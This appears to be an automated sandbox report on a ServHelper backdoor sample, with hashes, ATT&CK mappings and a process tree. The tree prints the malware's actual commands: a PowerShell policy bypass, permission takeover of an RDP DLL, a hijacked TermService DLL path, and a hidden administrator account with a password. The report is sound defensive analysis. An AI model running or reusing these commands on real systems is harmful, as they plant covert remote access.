servhelper | 7da69d9b2edd854e2ebd3c5123ae0fa4df058780fdea9236f412daf46ed4997b

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
22-12-2023 17:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fe390355d5840bf740669121b7032e5f.exe
Size

3.4MB
MD5

fe390355d5840bf740669121b7032e5f
SHA1

db7c8fd4c1b2600d98e20e8301018e1a4b952444
SHA256

7da69d9b2edd854e2ebd3c5123ae0fa4df058780fdea9236f412daf46ed4997b
SHA512

fb073cc090ba88805c0b43f639714d393271ea7397c7af1c4c409e680d98c61fa1aa6117307d3c3e967da0cf30c3cf90ea59ed7c99e419b30b76d2c1a817980c
SSDEEP

49152:kkfxaDlOo67fSWzotMT+3vQW4DMyc+7G0wHyiTXvJifxwB77xWRpt/l0Vpz1UHYV:d2qrt7T+v+7G0CJ4xwB7YN/l0VpyRO

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
2152	icacls.exe
4788	icacls.exe
4848	icacls.exe
2644	icacls.exe
2748	icacls.exe
4792	icacls.exe
1128	icacls.exe
4288	takeown.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	fe390355d5840bf740669121b7032e5f.exe

Loads dropped DLL 12 IoCs

pid	Process
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2508	fe390355d5840bf740669121b7032e5f.exe
2336	Process not Found
2336	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4848	icacls.exe
2644	icacls.exe
2748	icacls.exe
4792	icacls.exe
1128	icacls.exe
4288	takeown.exe
2152	icacls.exe
4788	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000002323a-80.dat	upx
behavioral2/files/0x000600000002323b-81.dat	upx

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4420	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1916	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
652	Process not Found
652	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeRestorePrivilege	4788	icacls.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 2656	2508	fe390355d5840bf740669121b7032e5f.exe	98
PID 2508 wrote to memory of 2656	2508	fe390355d5840bf740669121b7032e5f.exe	98
PID 2656 wrote to memory of 4420	2656	cmd.exe	101
PID 2656 wrote to memory of 4420	2656	cmd.exe	101
PID 2656 wrote to memory of 3212	2656	cmd.exe	103
PID 2656 wrote to memory of 3212	2656	cmd.exe	103
PID 3212 wrote to memory of 4288	3212	powershell.exe	107
PID 3212 wrote to memory of 4288	3212	powershell.exe	107
PID 3212 wrote to memory of 2152	3212	powershell.exe	108
PID 3212 wrote to memory of 2152	3212	powershell.exe	108
PID 3212 wrote to memory of 4788	3212	powershell.exe	109
PID 3212 wrote to memory of 4788	3212	powershell.exe	109
PID 3212 wrote to memory of 4848	3212	powershell.exe	110
PID 3212 wrote to memory of 4848	3212	powershell.exe	110
PID 3212 wrote to memory of 2644	3212	powershell.exe	111
PID 3212 wrote to memory of 2644	3212	powershell.exe	111
PID 3212 wrote to memory of 2748	3212	powershell.exe	112
PID 3212 wrote to memory of 2748	3212	powershell.exe	112
PID 3212 wrote to memory of 4792	3212	powershell.exe	113
PID 3212 wrote to memory of 4792	3212	powershell.exe	113
PID 3212 wrote to memory of 1128	3212	powershell.exe	114
PID 3212 wrote to memory of 1128	3212	powershell.exe	114
PID 3212 wrote to memory of 444	3212	powershell.exe	115
PID 3212 wrote to memory of 444	3212	powershell.exe	115
PID 3212 wrote to memory of 1916	3212	powershell.exe	116
PID 3212 wrote to memory of 1916	3212	powershell.exe	116
PID 3212 wrote to memory of 2268	3212	powershell.exe	117
PID 3212 wrote to memory of 2268	3212	powershell.exe	117
PID 3212 wrote to memory of 3716	3212	powershell.exe	118
PID 3212 wrote to memory of 3716	3212	powershell.exe	118
PID 3716 wrote to memory of 3536	3716	net.exe	119
PID 3716 wrote to memory of 3536	3716	net.exe	119
PID 3212 wrote to memory of 4744	3212	powershell.exe	120
PID 3212 wrote to memory of 4744	3212	powershell.exe	120
PID 4744 wrote to memory of 4812	4744	cmd.exe	121
PID 4744 wrote to memory of 4812	4744	cmd.exe	121
PID 4812 wrote to memory of 4064	4812	cmd.exe	122
PID 4812 wrote to memory of 4064	4812	cmd.exe	122
PID 3212 wrote to memory of 2940	3212	powershell.exe	124
PID 3212 wrote to memory of 2940	3212	powershell.exe	124
PID 2940 wrote to memory of 4476	2940	cmd.exe	125
PID 2940 wrote to memory of 4476	2940	cmd.exe	125
PID 4476 wrote to memory of 4348	4476	cmd.exe	126
PID 4476 wrote to memory of 4348	4476	cmd.exe	126
PID 4348 wrote to memory of 2752	4348	net.exe	127
PID 4348 wrote to memory of 2752	4348	net.exe	127
PID 2128 wrote to memory of 3244	2128	cmd.exe	131
PID 2128 wrote to memory of 3244	2128	cmd.exe	131
PID 3244 wrote to memory of 3724	3244	net.exe	132
PID 3244 wrote to memory of 3724	3244	net.exe	132
PID 4456 wrote to memory of 4808	4456	cmd.exe	135
PID 4456 wrote to memory of 4808	4456	cmd.exe	135
PID 4808 wrote to memory of 1808	4808	net.exe	136
PID 4808 wrote to memory of 1808	4808	net.exe	136
PID 4624 wrote to memory of 2016	4624	cmd.exe	139
PID 4624 wrote to memory of 2016	4624	cmd.exe	139
PID 2016 wrote to memory of 1320	2016	net.exe	140
PID 2016 wrote to memory of 1320	2016	net.exe	140
PID 2132 wrote to memory of 4484	2132	cmd.exe	143
PID 2132 wrote to memory of 4484	2132	cmd.exe	143
PID 4484 wrote to memory of 2152	4484	net.exe	144
PID 4484 wrote to memory of 2152	4484	net.exe	144
PID 4848 wrote to memory of 2280	4848	cmd.exe	147
PID 4848 wrote to memory of 2280	4848	cmd.exe	147

C:\Users\Admin\AppData\Local\Temp\fe390355d5840bf740669121b7032e5f.exe
"C:\Users\Admin\AppData\Local\Temp\fe390355d5840bf740669121b7032e5f.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\system32\timeout.exe
    timeout -t 15
    3⤵
    - Delays execution with timeout.exe
    PID:4420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4288
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2152
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4788
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4848
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2644
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2748
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4792
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1128
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:444
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Sets DLL path for service in the registry
      Modifies registry key
      PID:1916
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:2268
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3716
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3536
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4744
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4812
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:4064
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:4376
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2940
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4476
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4348
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:2752
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:3816
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:4652

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:3724

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cromLIHL /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cromLIHL /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cromLIHL /add
    3⤵
    PID:1808

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1320

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" IXMQMCCR$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" IXMQMCCR$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" IXMQMCCR$ /ADD
    3⤵
    PID:2152

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4848
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:2280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:2124

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cromLIHL
1⤵
PID:2416
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cromLIHL
  2⤵
  PID:228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cromLIHL
    3⤵
    PID:3716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\11.ps1

Filesize
1KB

MD5
c0fae5b04f67d12ca621200aac5378dc

SHA1
c82c80ff2a2abb57e9a23ac5a100d82c1d551238

SHA256
de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0

SHA512
27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h2dpp1gm.idz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\evil.ps1

Filesize
4.0MB

MD5
308004ed7790ddb567998dcb7205cb6f

SHA1
a32706cf539b367c631757ce5228a382b9bf3dca

SHA256
4c5f0e82186751415772384bae7054437d53e2806b2ba2973ab20bb694ffd428

SHA512
168a63f1c8ec8102a9e11581e68b17fb4826fb77bfc2d5e7e8ab04864aaf05d99404ba6cf769ebab1d5c41b8bcd1357f611de62a5e077fbbaef5d5b43ffed514

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsb640A.tmp\System.dll

Filesize
11KB

MD5
fbe295e5a1acfbd0a6271898f885fe6a

SHA1
d6d205922e61635472efb13c2bb92c9ac6cb96da

SHA256
a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

SHA512
2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsb640A.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsb640A.tmp\nsUnzip.dll

Filesize
146KB

MD5
77a26c23948070dc012bba65e7f390aa

SHA1
7e112775770f9b3b24e2a238b5f7c66f8802e5d8

SHA256
4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

SHA512
2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

Download Submit
C:\Windows\Branding\mediasrv.png

Filesize
54KB

MD5
acc5f33ea59a3aceb71f356e818aa32e

SHA1
483682b15fa526f620e525292a26c868fd809769

SHA256
56fb4078bce366f84deb9236987465ac616717da91edb409344bdbec5f8969d9

SHA512
14676268e9a25ae1fae66b758ac508f1e18ef520af044d8626b6c2be48bdcc5d7983d12fbeb112c06e7b1f24bdc3c6edd57a2aa6c91b40fbe38ea93a0956cd44

Download Submit
C:\Windows\Branding\mediasvc.png

Filesize
946KB

MD5
016660627786c4f1f2bb73fc7122f05e

SHA1
571b953d7721dbf5e5c034ca388621fc63372be3

SHA256
b8aad0651e6f08e00ef81ac444ad151a9660b5a1ec7e7a534b0a818b593926a4

SHA512
8d7c59913c983f87489eef31fd4044257c807a23a4f47b39b7b81b2f6cfab1e2e2390ee536d35b13f2cc3784721a85c5e819eb65c1a153c92f4d1249f6b5d3a4

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
memory/3212-60-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

Filesize
64KB

Download
memory/3212-77-0x00007FF9898B0000-0x00007FF98A371000-memory.dmp

Filesize
10.8MB

Download
memory/3212-78-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

Filesize
64KB

Download
memory/3212-79-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

Filesize
64KB

Download
memory/3212-58-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

Filesize
64KB

Download
memory/3212-59-0x00000164BE1E0000-0x00000164BE1F0000-memory.dmp

Filesize
64KB

Download
memory/3212-57-0x00007FF9898B0000-0x00007FF98A371000-memory.dmp

Filesize
10.8MB

Download
memory/3212-47-0x00000164DA130000-0x00000164DA152000-memory.dmp

Filesize
136KB

Download
memory/3212-87-0x00007FF9898B0000-0x00007FF98A371000-memory.dmp

Filesize
10.8MB

Download